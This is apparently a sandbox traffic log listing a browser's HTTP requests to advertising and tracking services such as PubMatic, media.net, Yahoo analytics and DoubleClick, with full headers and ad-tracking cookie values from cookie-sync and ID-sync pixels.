Source: global traffic	HTTP traffic detected: GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=2ECD9A48FE9664AD
Source: global traffic	HTTP traffic detected: GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%20AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&rnd=RND HTTP/1.1Host: us01.z.antigena.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=8&vsid=3479308330180239000V10&type=rkt&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=968062845637553879 HTTP/1.1Host: contextual.media.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58292/sync?_origin=1&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
Source: global traffic	HTTP traffic detected: GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xuid?mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/QKRnSYFFrkJivKfVckKVVQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/av/curveball/ads/pr/RESIZE_AND_CROP/1200x627/effb8e3da44bc6b557d36a7429190d20.jpeg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?_origin=0&dpid=58267&ovsid=968062845637553879&redir=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"
Source: global traffic	HTTP traffic detected: GET /pixel?cs=8&google_nid=media&google_cm=1&google_hm=MzQ3OTMwODMzMDE4MDIzOTAwMFYxMA%3D%3D&google_sc=1 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=%5Bobject%20Object%5D HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /us?https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=[UID] HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw\|t
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=&gpp_sid=&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /openrtb/pbjs?s=1057986 HTTP/1.1Host: htlb.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /ups/58692/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bridge.gif?AG_PID=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.adgrx.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ADGRX_UID=cabe22d6-b00f-11ee-b20f-088496e42def
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Ddxu%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D HTTP/1.1Host: nts.media.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsuym782MWPdiKFwJckasVqUeeF5zFzt8rVCU47s1YAjifEpbIgmuJBFsIhEtr9GrcqnGVAaridz3JM5bcxK0Hk94ggudYZBGCtylhhXXhu_hs8UC3RzkI77EJCl6ttywzR8QPx4yeVJLswUzlfgNzOlUtTr6AXdh7jbuymxkDyQonOhLk6gdt6WMWBRPVjJe03GsGd_C7SQkRXNXo0rdB8JuWY_mhkC_buMTeXba09fxVvMrDGKuoxD-rxRkkMFIzY-kf3Ca6ebQ6iZogbcBRCeG5aOfPtWwUb7RlhlWI_NRDhiAT4lortn9uInut3gBdkXtU5zq92OdPcC5kEx7FGeGwB4Lfg6Cc7xCF3nXTNg11t01zbSrUuv_tTrJ-YUdzc-T3odAMwSW6lEzii3msjvtA&sai=AMfl-YTFcRS98GsOeCowYPdqg_mT-gFxLCWUygYSFvY_R9q8GzzWndhRFelFqN25WOZ3a4IAYZ3KoOb8tFM9nJs8g9igCCfK4UcNIWooB1VR9__2-4-gYx9XoCID1d7woaRqjep9nl_LPyR1LhwBTpSxi7Q&sig=Cg0ArKJSzJHhorAfqU1EEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=968062845637553879&dpid=58267 HTTP/1.1Host: hb.yahoo.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1
